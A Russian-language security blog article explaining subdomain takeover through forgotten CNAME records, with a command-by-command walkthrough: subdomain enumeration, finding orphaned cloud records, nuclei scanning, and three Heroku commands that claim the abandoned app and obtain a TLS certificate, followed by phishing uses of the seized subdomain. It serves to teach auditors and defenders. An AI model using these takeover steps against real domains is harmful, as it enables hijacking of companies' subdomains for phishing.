CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Забытая CNAME-запись и чужой сайт под вашим доменом: технический разбор subdomain takeover на 800 000 ₽

Как висячая DNS-запись трёхлетней давности превратилась в захваченный поддомен, просевшую репутацию домена и почти сорванный контракт — с командами, которыми это ищется и эксплуатируется.

Разбор CIOlogia

Короткая версия истории простая: маркетинг попросил поднять старую промо-страницу, а вместо неё открылся чужой интернет-магазин — под настоящим доменом компании, с валидным замочком в браузере. Дальше разберём, что технически происходит в такой ситуации, почему это не «редкий баг», а целый класс уязвимостей с собственным именем, и как его эксплуатируют на практике.

Что это за класс уязвимостей

В индустрии это называется subdomain takeover — захват поддомена через висячую (dangling) DNS-запись. Механика типовая:

  • Компания заводит поддомен вида promo.company-example.ru и указывает его через CNAME на внешний облачный сервис — Heroku, GitHub Pages, AWS S3/CloudFront, Azure, Netlify, Vercel, Shopify, Fastly, Unbounce и десятки других.
  • Проект в этом облаке удаляют или сервис отвязывают, но CNAME-запись в DNS-зоне не трогают — она продолжает указывать на имя ресурса, которого больше нет.
  • Многие облачные платформы позволяют кому угодно зарегистрировать освободившееся имя ресурса (тот же слаг приложения на Heroku, тот же бакет на S3, тот же репозиторий на GitHub Pages) — без проверки, что человек имеет отношение к исходному домену.
  • Как только злоумышленник регистрирует это имя у себя, DNS-запись компании, которая уже годами указывает «в никуда», начинает резолвиться на его контент.

Классифицируется это близко к CWE-706 (Use of Incorrectly-Resolved Name or Reference) — доверие к DNS-записи, которая на самом деле уже не принадлежит тому, кому принадлежала раньше. Формального CVE у такого класса нет, потому что уязвимость не в конкретном продукте, а в разрыве между DNS-зоной клиента и жизненным циклом облачного ресурса.

Почему был валидный замочек

Отдельно стоит объяснить деталь из истории — «домен настоящий, замочек на месте». Многие PaaS/CDN-платформы (Heroku, Netlify, Vercel, GitHub Pages, Cloudflare Pages) автоматически выпускают TLS-сертификат Let's Encrypt для любого кастомного домена, который просто указывает на них через CNAME. Проверка права собственности на домен при этом — минимальная или отсутствует вовсе: платформа видит, что DNS уже смотрит на неё, и это принимается как достаточное подтверждение. Поэтому у захватчика поддомена браузер честно показывает зелёный замочек — сертификат выпущен корректно, просто на чужой для компании контент.

Как это ищется и эксплуатируется

Ниже — типовой путь пентестера или атакующего, от разведки до захвата.

Шаг 1. Инвентаризация поддоменов

$ subfinder -d company-example.ru -silent | tee subs.txt
promo.company-example.ru
old.company-example.ru
test.company-example.ru
crm.company-example.ru
partner.company-example.ru
...

$ amass enum -passive -d company-example.ru >> subs.txt
$ sort -u subs.txt -o subs.txt

На домене компании со стажем в 3-5 лет такой список легко доходит до 40-80 записей: лендинги под акции, тестовые стенды, интеграции с подрядчиками.

Шаг 2. Резолвинг CNAME и поиск «сирот»

$ dnsx -l subs.txt -cname -resp -silent
promo.company-example.ru [CNAME] promo-company.herokuapp.com
old.company-example.ru [CNAME] old-landing.s3-website-us-east-1.amazonaws.com
test.company-example.ru [CNAME] test-co.netlify.app

Дальше — вручную или скриптом проверяем, что реально отдаёт целевой хост:

$ curl -sI https://promo-company.herokuapp.com
HTTP/1.1 404 Not Found
Server: Cowboy
X-Powered-By: heroku

$ curl -s https://promo-company.herokuapp.com | head -5
<html><head><title>No such app</title>
<p>There is no app configured at that hostname.</p>

Ответ «No such app» / «NoSuchBucket» / «There isn't a GitHub Pages site here» — это фингерпринт висячей записи. Список таких сигнатур по десяткам сервисов давно собран в открытых проектах вроде can-i-take-over-xyz, и на нём построены готовые шаблоны сканеров.

Шаг 3. Автоматизация через nuclei

$ nuclei -l subs.txt -t http/takeovers/ -o takeover_results.txt

[subdomain-takeover-heroku] [http] [high] https://promo.company-example.ru
[subdomain-takeover-netlify] [http] [medium] https://test.company-example.ru

За одну команду атакующий (или, в честном сценарии, аудитор) получает список поддоменов, готовых к захвату, с указанием конкретного облачного сервиса.

Шаг 4. Собственно захват

Для Heroku-примера это буквально три команды в бесплатном аккаунте:

$ heroku apps:create promo-company
$ heroku domains:add promo.company-example.ru -a promo-company
Adding promo.company-example.ru to promo-company... done
$ heroku certs:auto:enable -a promo-company
Enabling Automatic Certificate Management... done
Certificate provisioned via Let's Encrypt

DNS-запись компании уже указывает на promo-company.herokuapp.com — атакующему даже не нужно ничего менять в чужой зоне, он просто «встаёт» в уже существующий указатель. Через несколько минут promo.company-example.ru отдаёт его контент с честным сертификатом на имя домена компании.

Что и почему сработало бы дальше

Захваченный поддомен — это не «мусорная страница», а полноценный плацдарм внутри доверенного периметра домена. Дальше сценарий развивается предсказуемо:

  • Фишинг с доверенным доменом. Письмо со ссылкой на promo.company-example.ru не вызывает подозрений ни у сотрудников, ни у почтовых фильтров — домен настоящий, SPF/DKIM самого письма могут быть в порядке, если атакующий шлёт с другого инфраструктурного узла и просто ссылается на захваченный поддомен как на посадочную страницу.